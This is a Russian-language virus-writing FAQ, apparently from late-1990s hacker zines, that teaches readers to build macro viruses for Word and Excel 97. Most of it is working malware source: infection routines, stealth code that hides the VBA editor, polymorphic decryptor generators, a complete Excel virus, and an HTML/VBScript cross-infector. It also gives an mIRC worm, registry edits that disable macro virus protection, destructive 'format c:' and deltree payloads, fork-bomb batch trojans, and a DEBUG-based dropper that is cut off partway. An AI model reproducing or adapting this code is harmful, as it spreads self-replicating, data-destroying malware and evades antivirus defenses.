MACRO FAQ от

by CyberShadow//SMF

Небольшой help:

____ - означает добавление в раздел

____ - новый пункт

 

1. Макровирусы для Microsoft Word 6.0/7.0 (1997, журнал V_Zone)

1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ

1.3. СТЕЛС - ТЕХНОЛОГИИ

1.4. АНТИ - ЭВРИСТИКА

1.5. ПРИМЕЧАНИЯ

2. Макровирусы для Microsoft Word 97

2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

2.2. СТЕЛС - ТЕХНОЛОГИИ

2.3. ПОЛИМОРФИЗМ (1999, журнал DVL#9)

2.4. ПРИМЕЧАНИЯ

3. Хачу напакостить! (Что бы такого сделать плохого?)

4. Собственно FAQ как есть

4.1. А как работает VBA в Excel97?

4.2. А можно написать вирус заражающий Word и Excel?

4.3. Где еще использовать комманды SetObject и CreateObject?

4.4. Можно ли запустить какую-нибудь программу пользуяюсь средствами VBA?

4.5. Можно ли получить доступ к системному окружению?

4.6. Можно ли написать IRC-червя средствами VBA?

4.7. А я слышал, можно отключить VirusProtection напрямую из реестра, правда ли это?

4.8. Как получить адрес папки "Мои документы"?

3.9. Как сделать "Проводник" средством запуска VBA вируса?

4.10. Может ли VBA вирус переносить в своем теле другие вирусы (трояны)?

4.11. Power Point вирусы

4.12. Да здраствует E-MAIL!

5. Куда писать ругательства, по поводу всего этого?

6. Благодарности

 

1. Макровирусы для Microsoft Word 6.0/7.0 (1997, журнал V_Zone)

1.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

Написать MACRO - штучку оказалось просто, как..., нужно всего лишь немного шарить в BASIC'е и знать ГЛАВНУЮ команду WordVirus'a -

MacroCopy Source, Destination

которая копирует макрос из Source в Destination, но в вирусе используется два варианта этой команды:

MacroCopy FileName$()+":MacroName1","Normal:MacroName2"-копирует макрос из файла в NORMAL.DOT

MacroCopy "Normal:MacroName1",FileName$()+":MacroName2"-копирует макрос из NORMAL.DOT в файл.

Кроме того, чтобы ваш вирус успешно существовал в среде Word'a необходимо знать как собственно вирус запускается из файла: нужно всего лишь, чтобы запускаемый макрос имел имя в файле AutoOpen и все! При открытии файла Word автоматически запустит это макрос! Заражение файла осуществляется примерно также, важно чтобы в файле NORMAL.DOT присутствовал макрос FileOpen и при открытии файла зараженным Word'oм вы получите доступ к файлу.

1.2. ПЕРЕМЕННЫЕ И КОНСТАНТЫ

dlg - массив Word'а используется им для поддержки макросов вызываемых другим макросом.

FileName$() - имя открытого файла

CountMacros - количество макросов

MacroName$ - имя макроса

Normal - имя файла в котором хранятся макросы (русский Word) если вы хотите заражать аглицкий Word, замените везде Normal на Global

1.3. СТЕЛС - ТЕХНОЛОГИИ

Это ваще дребедень, проблема данного MACRO - вируса: его можно легко найти и уничтожить, используя меню Сервис-Макрос, так вот чтобы этого не происходило вместе с макросами вируса распространяйте макрос

macros -= ToolsMacro =-

Sub Main

End Sub

Это не ошибка! Распространяйте ПУСТОЙ макрос и все проблемы с простотой будут решены! Правда есть одно НО. Глупый юзер обломится со всеми остальными макросами :( Более сложный, но и более корректный способ: обрабатывать ToolsMacro самому.

1.4. АНТИ-ЭВРИСТИКА

Как сделать так, чтобы DrWEB и иже с ним не ловили ваши детища? Тут необходимо немного фантазии, но все же:

1. DrWEB не обрабатыает, например, смену шрифта.

2. Создаете макрос со случайным именем и записываете туда строку MacroCopy ... , ... но перед этим задаете шрифт какого-нибудь размера и записываете строку, расшифровывая по маске шрифта, запускаете этот макрос и удаляете его! И все, все!

1.5. ПРИМЕЧАНИЯ

Стартовые макросы могут быть AutoOpen, AutoClose, AutoSave.

Глобальные макросы FileOpen, FileSaveAs, FileSave, FileClose.

Word.Macro.Stealth (AVP) - использует эти технологии и 2 года назад не ловился даже на высшем уровне эвристики.

 

2. Макровирусы для Microsoft Word 97

2.1. ОСНОВНЫЕ ПОЛОЖЕНИЯ

Здесь все немного сложнее, поскольку Microsoft, наученная горьким опытом макро-вирусов под Office 95, решила, что нужно сделать какую-никакую защиту от макро-зверьков (и надо признаться, для этого были все основания :). Но, главная ошибка компьютера это пользователь и поэтому у зверей есть все-таки шанс!

Язык теперь несколько другой, был WordBasic стал Visual Basic for Application (VBA).

Отталкиваясь от написания макросов для Office 95, рассмотрим 1 способ написания макро-вирусов для Word 97:

ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ СТАРЫЙ МЕТОД КОПИРОВАНИЯ МАКРОСОВ

собственно команда копирования: Application.OrganizerCopy Source, Destination, Name, Object

где Source - Source:=NormalTemplate.FullName, - откель копируем зараженные макросы

Destination - Destination:=ActiveDocument.FullName, - куда копируем

Name - Name:="Your own macromodule name" - имя модуля (не отдельного макроса, а сразу всего блока!)

Object - Object:=wdOrganizerObjectProjectItems - собственно что копировать - макросы

эта команда показывает копирование из зараженного документа в Normal.dot, при копировании из Normal.dot в документ соответсвенно меняем местами пути Source и Destination

Но, спасибо Microsoft, теперь больше простора для фантазии, поэтому еще способы:

2 способ написания макро-вириев:

ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ IMPORT И EXPORT

Итак, идея здесь несколько другая, и лежит целиком на совести разработчиков Word'a, состоит эта идея в том, что вы копируете весь модуль на диск, а затем импортируете его в заражаемый файл. Вот как это делается в вирусе xix.Poppy от VicodinES:

ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"

ActiveDocument.VBProject.VBComponents.Import "c:\xix.drv"

Маленькое примечание: "xix" - имя блока макросов,

"c:\xix.drv" - имя файла для экспорта/импорта модулей

Расширение у подобного рода файлов обычно .drv, .sys и подобные системные сделано это для того, чтобы при просмотре, например из проводника, этого файла не было видно.

3 способ написания макро-вириев:

ЗАРАЖЕНИЕ, ИСПОЛЬЗУЯ ФУНКЦИИ РАБОТЫ С ФАЙЛОМ

Раз мы заговорили о import/export, то, можно работать напрямую с файлом используя старые добрые операторы PRINT и LINE INPUT. Вот как это реализовано в вирусе Ethan:

Сначала копирование модуля на диск:

Open "c:\ethan.___" For Output As #1

For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)

Print #1, a

Next i

Close #1

А затем перенос из файла в документ:

если Normal.dot не заражен то:

Set t = NormalTemplate.VBProject.VBComponents.Item(1)

если открываемые документ не заражен то:

Set t = ActiveDocument.VBProject.VBComponents.Item(1)

затем:

Open "c:\ethan.___" For Input As #1

If LOF(1) = 0 Then GoTo q

i = 1

Do While Not EOF(1)

Line Input #1, a

t.CodeModule.InsertLines i, a

i = i + 1

Loop

q:

Close #1

Работа с файлами не заканчивается только такими способами, резонно было бы применить сканирование директорий как в нерезидентных вирусах. Учитывая трепетное отношение LovinGod'а к копированию его материалов, сразу утверждаю: СЛЕДУЮЩИЙ СПОСОБ ВЗЯТ С САЙТА ГРУППЫ SG, ИЗ РАЗДЕЛА IV ONLINE, ФАЙЛ WMACRO.TXT, АВТОР ULTRAS (вот и ты попал в FAQ :)

"Нерезидентен" - при открытии зараженного файла ищет документы в каталогах от текущего каталога до корневого и заражает их. Свое присутствие в файле определяет по последовательности байт, которую при заражении записывает в неиспользуемую область заголовка документа.

Sub AutoOpen()

'заражает при открытий документов

On Error Resume Next

Application.DisplayAlerts = wdAlertsNone

Options.VirusProtection = False

'Выключает защиту от вирусов и запуск авто-функций.

rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")

'ищем doc файлы в текущем каталоге

Open FileName$ For Input As #1

'открываем файл

Seek #1, 521

'ищем в нем строку

RSM$ = Input$(3, #1)

Close #1

If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir

'если нашли свои опозновательные знаки, то меняем директорию

Open FileName$ For Append As #1

'нашли не зараженный документ откроем его

Seek #1, 523

'ищем строку

Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)

'вписываем в найденный док метку вируса

Close #1

'закрываем документ

rsmdoc = ActiveDocument.FullName

Application.Documents.Open FileName

'открываем документ

Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems

'копируем модуль вируса в документ

Application.Documents.Save

'сохраним зараженный документ

ActiveDocument.Close

'закрываем

chgdir: ChDir ".."

'изменяем директорию

GoTo rsminf

'поиск файлов

ecsit:

end sub

И, последний способ, различные реализации которого используются в большинстве вирусов выходящих в последнее время.

Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule

'В NT хранится путь к макросам Normal.dot

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

'В AD хранится путь к макросам активного документа

If NT.lines(1, 1) = "" Then

'Если нет никаких макросов в Normal.dot

NT.Insertlines 1, AD.lines(1, AD.countoflines)

'копируем макросы из активного документа в Normal.dot

End If

If AD.lines(1, 1) = "" Then

'Если нет никаких макросов в активном документе

AD.Insertlines 1, NT.lines(1, NT.countoflines)

'копируем макросы из Normal.dot в активный документ

End If

Кстати, этот способ самый идеальный для шифрованных и полиморфных вирусов, но об этом позже.

2.2. СТЕЛС - ТЕХНОЛОГИИ

Здесь тоже все аналогично Office 95, но более продвинуто, то есть перекрыть нужно не только ToolsMacro, а несколько:

Далее показано на примере, как сделать стелс обработчик для Word97.

'Отключить просмотр кода

Sub ViewVBCode(): Stealth: End Sub

'Отключить просмотр макросов

Sub ToolsMacro(): Stealth: End Sub

'Отключить просмотр подключенных модулей

Sub FileTemplates(): Stealth: End Sub

Private Sub Stealth(): On Error Resume Next

'Вырубить показ РедактораVB: Отключить клавишу Break

Application.ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0

End Sub

2.3. ПОЛИМОРФИЗМ

(1999, журнал DVL#9)

Итак, на данный момент есть множество полиморфов на VB, но подавляющее большинство из них являются не совсем полиморфами, то есть представляют из себя конструкции типа:

'kj2atlk3jOIJOJ6LkjrlJlkjLjrk22

For i=1 To n

'hjkljhlkjhl324jhlkqj3h5jkqhb

MsgBox i

'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB

Next

В зависимости от алгоритма и фантазии автора вируса эти строки могут содержать в себе различные символы, но основная идея остается той же - вставлять между строками строки переменной длины с различными символами. Недостатки ясны - стоит отсеять все ремарки, и voila! Вот ваш вирус. Кроме того, большинство полиморфов модифицируют весь свой код, не производя никаких проверок, что очень быстро делает вирус просто огромным по размеру, и либо преращает его дальнейшее распространение, либо ясно показывает, что файл поражен вирусом :(. Хотя сбылась мечта всех вирмакеров, модифицировать весь код вируса, но толку принесло совсем мало :(. Зачем изобретать велосипед? Есть множество хороших алгоритмов для создания защищенных вирусов. Причем эти алгоритмы давно используются для создания вирусов под DOS и Windows. Это старые добрые шифрующие алгоритмы различной сложности. Существует множество статей о создании шифрованного вируса под Word, но тем не менее, я коснусь этой темы (кратко). Зашифрованное тело можно хранить, как минимум двумя способами:

1. Создавая переменную в которой храниться зашифрованное тело вируса:

CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"

CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh"

2. Храня зашифрованное тело вируса прямо в исходном коде:

Private Sub CryptedVirusBody()

'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho

'LKjlkigsohjwhj4klhLhLKhlwktioh

'JklwjijgnLnlniowngoi

End Sub

Разумеется, при разных способах хранения, существуют разные способы расшифровки, для первого способа вы пишите декриптор работающий напрямую с переменной, в которой храниться зашифрованное тело вируса. Для второго же способа понадобиться алгоритм работающий напрямую с исходным кодом, то есть что-то вроде:

c=lines(j,1)

if mid$(c,1,1)="'" then

... расшифровка ...

ReplaceLine j, EncryptedVariable

End If

Где j - номер строки кода.

У обоих способов есть свои преимущества и недостатки, у первого способа это необходимость выработки алгоритма который вставляет куда-то расшифрованную строку, у второго - некоторая громоздкость кода для работы с поиском строк. Выбирайте любой. Существуют еще способы хранения зашифрованных строк, но эти самые простые. Вот, вкратце и все о шифровании тела вируса.

Теперь, о самом интересном: о полиморфах. Рассмотрим следующий пример:

For i=1 to n 'часть расшифровщика;

For j=1 to 12425 '-+

eyeu=12 ' |

do while eyeu<234 ' | мусор;

eyeu=eyeu+43 ' |

loop ' |

next '-+

lkj=ljk+1 'часть расшифровщика;

jkhlk=142 '-+

if sdfg<kleh then ' |

gsdfgyeu=122 ' |

do while gsdfgyeu<253 ' |

gsdfgyeu=gsdfgyeu+23' | мусор;

jhlkjh=lkwjf+nkvsv ' |

loop ' |

end if '-+

next 'часть расшифровщика;

Как видим, во вполне осмысленной программе, которая что-то делает, существует часть команд, которые отвечают за расшифровку тела вируса... Единственный из такого рода полиморфов (из тех которые я видел) делал подобное, но только добавляя "левые" переменные, причем без всяких операций с ними, то есть тот же "мусор" которые легко отсеивается. Каким же образом достигается создание такого рода полиморфных блоков? Достаточно просто:

private sub polym(fc,m)

'где fc - переменная в которую будет дописывать полиморфный блок;

'm - переменная определяющая степень рекурсии (чем больше степень

' тем сложнее полиморфная программа, тем больше места она

' занимает.

select case int(rnd*6)

case 1

fc=fc+"for i=1 to 1234"

m=m+1

if m<MaxRecurs then call polym(fc,m)

fc=fc+next

case 2

case 3

и т.д.

case else

end select

end sub

Этим способом можно добавлять ЛЮБЫЕ блоки программы, я использовал следующие:

1. FOR-NEXT

2. DO WHILE-LOOP

3. DO UNTIL-LOOP

4. DO-LOOP WHILE

5. DO-LOOP UNTIL

6. IF-END IF

7. Change variables

Разумеется, конфигурация блоков зависит от вашей фантазии, но могу сделать подсказку: для всех циклов можно использовать случайные начальные и конечные значения, а также случайный шаг. Для блоков с условиями еще больше:

операции с разными переменными, комбинации "<", ">", "=" и сравнение с RND.

Для работы с работы с переменными следующие варианты:

var1=random

var1=var1+var2

var1=var2+var3

var1=var2

и т.д.

Вот и все о рекурсивных полиморфных алгоритмах. Но! После того, как вы написали программу генерирующую полиморфный расшифровщик, сразу же всплывает масса проблем о которых вы раньше не подозревали: длина одной сроки не может быть больше 1024 символов, размер одной процедуры не может быть больше 64 килобайт. И та и другая проблема сказывается на возможностях полиморфа. Итак, вы должны внести корректировку по длине строки, на полиморфных блоках это не сказывается, а вот если вы храните зашифрованное тело вируса в строковых переменных, тогда придется делить переменную на части. Размер полиморфа можно коррекитровать уменьшая степень рекурсии. Есть другой вариант, перемешать строки расшифровщика и добавить в него вызов процедур, тогда размер вируса равномерно распределиться между процедурами и ни одна из них не будет больше 64К. Как перемешать, спросите вы? Тогда ведь структура расшифровщика нарушиться и он будет представлять собой просто набор нерабочих комманд. Приведу пример:

private sub try()

goto loop1

loop2:

msgbox "метка номер двас :)"

goto loop3

loop1:

msgbox "метка номер раз"

goto loop2

loop3:

end sub

Что сделает такая программа когда вы ее запустите? Правильно, сначала напечатат про метку номер раз, а потом про метку номер двас. Но ведь метка номер два у нас идет первой? Как же так? Поняли? Та же самая идея в полиморфе, имеется куча премешанных команд, которые после выполнения уходят в случайное место кода, где уже подготовлена следующая команда для выполнения. Кроме того, чтобы не перегружать размер подпрограммы, мы с чистой совестью можем сделать вызов процедуры вместо GOTO, разумеется процедуру нужно вызывать со всеми переменными используемыми в расшифровщике, либо объявлять их глобальными, но это уже мелочи.

Теперь о возможных глюках:

1. Длина одной строки должна быть меньше 1024 символов;

2. Размер одной процедуры должен быть меньше 64К;

3. Переменные используемые в расшифровщике должны быть доступны в любой подпрограмме;

4. Переменные используемые в расшифровщике и используемые в "мусоре" не должны совпадать, иначе расшифровка пойдет неправильно;

5. Циклы в "мусоре" не должны быть очень большими, иначе юзер может подумать, что компьютер завис;

6. Имена меток не должны совпадать с именами любых переменных;

7. Любая строка с условием должна стоять отдельно: никаких lkj=24: if jkh<qfg then :jkwg=wga:

в первом двоеточии произойдет ошибка, во втором исполнится как код.

Все примеры описываемые здесь подразумевали, что каждая строка идет отдельно, но есть же еще и двоеточия! Делайте случайный выбор между символами окончания строки Chr$(13)+Chr$(10) и ":". Разумеется, нужна проверка на длину строки и проверка на "одиночество" условий. Кроме того, для усложнения детектирования, я использовал различные операторы для основного цикла.

2.4. ПРИМЕЧАНИЯ

Имена макросов такие же как в Office 95, но имена программ VBA следующие:

Document_Close(), Document_Open(), Document_New() и другие.

 

3. Хачу напакостить! (Что бы такого сделать плохого?)

Сладкое слово ДЕСТРУКЦИЯ! В самом деле, если уж мы пишем вирус, почему бы не организовать попавшему на вирусный крючок немного веселой жизни? Как говорил Карлсон, курощение и дуракаваляние :). Итак, что бы такого сделать плохого?

3.1. Мелкие приколы типа FORMAT C:

Это всем давно известно и потому мало интересно: Самый простой и самый тупой способ испортить человеку жизнь. Всего лишь вставьте строчку в AUTOEXEC.BAT: echo y|FORMAT c: /q >nul

Или, если вашей душе лениво ждать, можно напрямую:

shit$ = "echo y|format c: /q"

Shell Environment$ ("COMSPEC") + "/c" + shit$, 0

В последнем случае скорее всего будет облом, так как маздай не любит таких фокусов с рабочим диском :(.

3.2. Как постирать файлы нафиг?

В VB есть чудный оператор: KILL "fucking filename" и привет: Кстати этот деструктив наиболее распространен, видимо весь винт форматить совесть не позволяет :). Этот прикол часто используется для удаления файлов антивирусных программ.

Кроме того, если пишется BAT вирус, аналог этой команды DEL filename.ext

Оба этих оператора прекрасны поддержкой фич типа *.*, win*.?o? и так далее:

Ну если вам и этого мало, то к вашим услугам прога DELTREE (%windir%\command\deltree.exe). Примеры использования:

Deltree C:\WINDOWS - удаляет C:\WINDOWS вместе с именем директории WINDOWS

Deltree C:\WINDOWS\ - удаляет содержимое каталога оставляя имя директории нетронутым :)

3.3. Как установить пароль для документа Word97?

ActiveDocument.Password = "Oops!"

Данная строчка ставит пароль на активный документ и хрен вы его откроете не зная пароля! (Ломалки не в счет :).

3.4. Что может BAT?

Учитывая, что остались извращенцы, любящие писать BAT вирусы и трояны, можно привести несколько приколов спецом для подобного рода людей (Фраза-то какая!)

Вот например:

@echo off

set flag=1

:loop

rem break=off

if %flag%==false goto halt >>nul

if %flag%==true goto continue >>nul

:begin

set dir=1

rem set c=1

:continue

if %dir%==11111111 goto halt >>nul

md %dir% >>nul

set c=%c%1

if exist %0.bat copy %0.bat %dir% >>nul

if not exist %0.bat copy %0 %dir% >>nul

if %c%==1111111111111111111 goto gon >>nul

cd %dir% >>nul

rem call %0

goto loop

:gon

cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.. >>nul

set dir=%dir%1

set flag=true

set c=1

rem call %0

goto loop

:halt

set flag=false

rem cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..

cd 1 >>nul

set dir=1

set c=1

set flag=flag

echo pause

rem pause

%0

Этот ужас написал NKM__Soft. Что же это такое и что оно может? Данная программа не что иное как троян, создающий рекурсивно вложенные директории, в результате вызывая переполнение FAT и невозможность нормальной работы, правда на современных винтах он теряет свою убойную силу :(. Подобного рода игрушки существуют и под MD:

@echo off

start /m %0

pause

либо:

@echo off

:looping

start /m %0

goto looping

ничего хорошего, просто один из способов завесить машину (Зато какой!).

Кстати, ни один из этих приколов не обнаруживается Duke's BAT checker, как же так? :)

 

4. Собственно FAQ как есть

4.1. А как работает VBA в Excel97?

A.: Аналогично Word97, но с некоторыми отличиями: например, вместо Document_Open - Workbook_Open. Кроме того, в Excel нет общего шаблона типа Normal.dot, и поэтому заражение осуществляется, зараженный файл копируется в директорию Microsoft Office\Office\XLStart и при старте Excel этот файл автоматически загрузится и макросы в нем станут глобальными! Получить эту директорию можно как Application.StartupPath

А вот и более подробно

Приведу пример простого XL97 вируса, в котором используется VBA процедура:

'XL97.Shitty

'by CyberShadow//SMF

'--- Маленький копирайт, 1-я строчка используется как метка заражения

Private Sub Workbook_BeforeClose(Cancel As Boolean)

'--- Имя программы VBA автоматически исполняемой в момент закрытия

' книги

On Error Resume Next

fl = 0 '--- флаг заражения

With Application.FileSearch '--- искать файло

.NewSearch '--- новый поиск

.LookIn = Application.StartupPath '--- в каталоге автозагрузки

.SearchSubFolders = True '--- ну и в подкаталогах тоже

.FileName = "shitty.xls" '--- имя файла (можно по маске)

.MatchAllWordForms = True '--- имя хоть 'ShItTy.xLs'

.FileType = msoFileTypeAllFiles '--- любого типа

If .Execute() > 0 Then fl = 1 '--- если нашли то...

End With '--- Хана поиску

If fl = 0 Then Workbooks.Add.SaveAs FileName:=Application.StartupPath & "\shitty.xls", FileFormat:=xlNormal, AddToMru:=False

'--- Если не заражены создать новую книгу и дать ей имя 'shitty.xls'

Set shitSource = ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule

'--- Где код вируса

For i = 1 To Workbooks.Count

'--- Сканнем все открытые книги

Set shitDest = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule

'--- Куды копировать код вируса

If shitDest.Lines(1, 1) <> "'XL97.Shitty" Then

'--- Мы уже тут?

shitDest.InsertLines 1, shitSource.Lines(1, shitSource.CountOfLines)

'--- Нифига, тады заразим!

End If

Next

If fl = 0 Then Workbooks("shitty.xls").Save: Workbooks("shitty.xls").Close

'--- Если не был заражен Excel, то зараженную книгу запишем

End Sub

4.2. А можно написать вирус заражающий Word и Excel?

A.: Да, можно. Благодаря корпорации Microsoft все приложения Office 97 могут общаться между собой. Делается этос помощью комманд SetObject и CreateObject. Вот как это реализовано в вирусе MultiSys (Office97.Triplex.c или Office97.Hooper.g):

xlsObj = GetObject(, "Excel.Application"): Quit = 0

If xlsObj = "" Then

Set xlApp = CreateObject("Excel.Application"): Quit = 1

End If

If UCase(Dir(xlApp.Application.StartupPath + "\cs.xls"))<> UCase("CS.XLS") Then

xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\cs.xls"

xlApp.Workbooks("cs.xls").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1,NT.CountOfLines)

xlApp.Workbooks("cs.xls").Close SaveChanges:=True

End If

If Quit = 1 Then xlApp.Application.Quit

4.3. Где еще использовать комманды SetObject и CreateObject?

A.: Везде, где можно использовать VisualBasic. Вот как сделать заражение Word97 из HTM файла:

<html> <CyberShadow>

<BODY>

<script language="VBScript"><!--

Private Sub Window_Onload

On Error Resume Next

If location.protocol = "file:" then

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")

HostPath = Replace(location.href, "file:///", "")

HostPath = Replace(HostPath, "/", "\")

Set WordObj = GetObject("","Word.Application"): Quit = 0

If WordObj = "" Then

Set WordObj = CreateObject("Word.Application"): Quit = 1

End If

Set NT = WordObj.Templates(1).VBProject.VBComponents(1).Codemodule

If NT.Lines(1,1) <> "'<html> <CyberShadow>" then

WordObj.Options.SaveNormalPrompt = False

NT.DeleteLines 1, NT.CountOfLines

NT.Addfromfile HostPath

NT.DeleteLines NT.CountOfLines-3,3

For j = 1 to 3

NT.ReplaceLine j, "'" + NT.Lines(j,1)

Next

End If

Set NT = Nothing

if Quit=1 then WordObj.Quit

End if

End Sub

Private Sub Document_Close()

MsgBox "You are infected!"

End Sub

--></script>

</BODY>

</HTML>

4.4. Можно ли запустить какую-нибудь программу пользуяюсь средствами VBA?

A.: rv = Shell("c:\dropper.com", 6), эта строчка запускает файл dropper.com с диска C как отдельную задачу свернутую в значок.

4.5. Можно ли получить доступ к системному окружению?

A.: Разумеется. Следующий пример распечатывает PATH:

Private Sub GetPath()

a = Environ("PATH")

i = 1

Do While i <= Len(a)

c = ""

Do While i <= Len(a) And Mid$(a, i, 1) <> ";"

c = c + Mid$(a, i, 1)

i = i + 1

Loop

MsgBox c

i = i + 1

Loop

End Sub

4.6. Можно ли написать IRC-червя средствами VBA?

A.: Вот пример простейшего IRC-червя:

Private Sub Document_Close()

'mirc joke by CyberShadow//SMF

'Smiles to harmless :)

MyDir = CurDir

For i = 0 To 5

a = Chr$(Asc("C") + i)

Call infect(a)

Next

End Sub

Private Sub infect(a)

On Error GoTo outta

a = a + ":\mirc\"

Open a + "script.ini" For Output As #1

Print #1, "[script]"

Print #1, "n0=on 1:JOIN:#:/dcc send $nick " + a + "NewFiles.doc"

Close #1

ActiveDocument.Save

ActiveDocument.SaveAs a + "NewFiles.doc"

ActiveDocument.Close

outta:

End Sub

Маленькое добавление, этот червяк не совсем корректен, достаточно сменить название директории на mIRC32 и привет... Вот более корректный способ отыскать mIRC через Главное Меню:

Private Sub Document_Close()

'Program by CyberShadow//SMF

'more than correct way to find mIRC :)

a = System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Programs") + "\"

With Application.FileSearch

.FileName = "mirc*.exe"

.MatchAllWordForms = True

.LookIn = a

.SearchSubFolders = True

.Execute

For i = 1 To .FoundFiles.Count

c = .FoundFiles(i)

j = Len(c)

Do While j > 1

If Mid$(c, j, 1) = "\" Then c = Mid$(c, 1, j): j = 0

j = j - 1

Loop

Call infectMIRC(c)

Next i

End With

End Sub

Этот способ находит mIRC даже если его запихали в Program Files :) Если конечно mIRC есть в Главном Меню :)

4.7. А я слышал, можно отключить VirusProtection напрямую из реестра, правда ли это?

A.: Да, правда. Вот несколько ключей в реестре: вырубить предупреждения о запуске опасного ActiveX приложения, очень удобно для cross вирусов типа DOC-HTML-VBS

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0", "1201" = ""

вырубить MacroVirusProtection для Excel

"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6" = ""

"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6" = ""

вырубить MacroVirusProtection для Word

"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"

"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options","EnableMacroVirusProtection"="0"

Задать страницу, запускающуюся при старте InternetExplorer

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]

"Start Page"="C:\\WINDOWS\\SYSTEM\\virus.htm"

4.8. Как получить адрес папки "Мои документы"?

A.: В разноязычных версиях этот адрес разный (Мои документы как My Documents)

Private Sub GetMyDocumentsFolderPath()

a=System.PrivateProfileString("","HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders","Personal")

msgbox a

End Sub

4.9. Как сделать "Проводник" средством запуска VBA вируса?

А.: Проводник в Windows 98 при входе в некоторые папки сканирует их содержимое на предмет нахождения файла folder.htt и, если файл найден, принимает его содержимое как своеобразную программу для просмотра данной папки, причем VB Scripts исполняются тоже! (Думаю не стоит продолжать :). Папки в которых эта хрень создается автоматически:

C:\WINDOWS (или подобная :)

C:\WINDOWS\SYSTEM

C:\WINDOWS\SYSTEM32

C:\WINDOWS\WEB

C:\Program Files

Маленькие дополнения:

Файло ищется только в определенных папках;

Точное имя прописывается в desktop.ini;

Ко всему этому в реестре содержится информация про конкретную папку, искать этот файл или нет, запускать или нет и т.д.

4.10. Может ли VBA вирус переносить в своем теле другие вирусы (трояны)?

А.: Может. Есть различные способы заставить VBA вирус "таскать" с собой любую программу написанную на любом языке.

Первый из них чаще всего используется в VBA вирусах, невзирая на кучу неудобств, но, видимо, пережитки BAT вирусов достаточно сильны :). Способ следующий:

во-первых, необходимо наличие в переменной PATH файла DEBUG (входит в стандартную поставку WINDOWS);

во вторых, используется промежуточный BAT файл (обычно AUTOEXEC.BAT).

<html> <CyberShadow...>

<BODY onload="TryToLoad();">

<script language="VBScript"><!--

Sub TryToLoad

If location.protocol = "file:" then Call CreateDropper

End Sub

Sub CreateDropper

Dim FSO, folder ,fc, f1, cpath

Set FSO = CreateObject("Scripting.FileSystemObject")

Set folder = fso.GetFolder("c:\")

Set fc = folder.Files

For each f1 in fc

s = Lcase(Fso.GetExtensionName(f1.name))

if s = "bat" then

Set fh = fso.opentextfile(f1.path, 1, true)

TestString = fh.readline

fh.close

if TestString <> "@rem CyberShadow..." then

Set fh = fso.opentextfile(f1.path, 1, true)

TempFile = fso.GetTempName

fso.CopyFile f1.path, TempFile

fh.close

Set fh = fso.opentextfile(TempFile, 1, true)

Set fv = fso.opentextfile(f1.path, 2, true)

fv.writeline "@rem CyberShadow..."

fv.writeline "@echo off"

fv.writeline "echo n argon.com >cybers.dmp"

fv.writeline "echo e 0100 B0 13 CD 10 B9 3F 78 33 F6 B8 D9 FF F7 E9 03 F2 >>cybers.dmp"

fv.writeline "echo e 0110 03 CE 88 AF E8 FD D0 BF E8 FD 4B 81 FB FF 3F 75 >>cybers.dmp"

fv.writeline "echo e 0120 E8 43 68 00 A0 07 06 1F 33 FF 33 C9 88 2D 88 AD >>cybers.dmp"

fv.writeline "echo e 0130 7C 01 BE 7D 01 2B F7 88 2C 88 AC 7C 01 83 C7 03 >>cybers.dmp"

fv.writeline "echo e 0140 FE C5 80 FD 40 75 E5 33 F6 BA C8 03 B0 01 EE 42 >>cybers.dmp"

fv.writeline "echo e 0150 B9 00 03 F3 6E 0E 1F 42 B1 C8 33 FF 8A D9 02 DA >>cybers.dmp"

fv.writeline "echo e 0160 8A B7 E8 FD 32 ED 8A DE 8A 87 E8 FD 2A C1 8A E0 >>cybers.dmp"

fv.writeline "echo e 0170 02 E6 2B C1 F6 C1 01 74 02 86 E0 AB FE C3 FE C5 >>cybers.dmp"

fv.writeline "echo e 0180 80 FD A0 72 E3 FE C9 75 D3 E4 60 FE C8 75 C8 C3 >>cybers.dmp"

fv.writeline "echo rcx >>cybers.dmp"

